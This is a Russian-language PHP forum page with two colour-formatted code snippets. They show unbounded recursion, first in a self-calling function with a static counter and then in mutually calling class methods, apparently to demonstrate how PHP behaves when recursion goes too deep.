PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]test[/COLOR][COLOR="#007700"]() { static[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]; if ([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]PHP_INT_MAX[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PHP_EOL[/COLOR][COLOR="#007700"]; return ; } if (!([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]256[/COLOR][COLOR="#007700"])) { echo[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PHP_EOL[/COLOR][COLOR="#007700"]; } [/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]test[/COLOR][COLOR="#007700"](); } [/COLOR][COLOR="#0000BB"]test[/COLOR][COLOR="#007700"](); [/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]interface[/COLOR][COLOR="#0000BB"]MyInterface[/COLOR][COLOR="#007700"]{ public function[/COLOR][COLOR="#0000BB"]toHtml[/COLOR][COLOR="#007700"](); }
abstract class[/COLOR][COLOR="#0000BB"]MyAbstract[/COLOR][COLOR="#007700"]{ protected function[/COLOR][COLOR="#0000BB"]_toHtml[/COLOR][COLOR="#007700"]() { return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }
final public function[/COLOR][COLOR="#0000BB"]toHtml[/COLOR][COLOR="#007700"]() { return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_toHtml[/COLOR][COLOR="#007700"](); } }
class[/COLOR][COLOR="#0000BB"]MyClass[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]MyAbstract[/COLOR][COLOR="#007700"]implements[/COLOR][COLOR="#0000BB"]MyInterface[/COLOR][COLOR="#007700"]{ function[/COLOR][COLOR="#0000BB"]_toHtml[/COLOR][COLOR="#007700"]() { return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]toHtml[/COLOR][COLOR="#007700"](); } }
[/COLOR][COLOR="#0000BB"]$obj[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]MyClass[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$obj[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_toHtml[/COLOR][COLOR="#007700"]()); exit; [/COLOR][/COLOR]
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|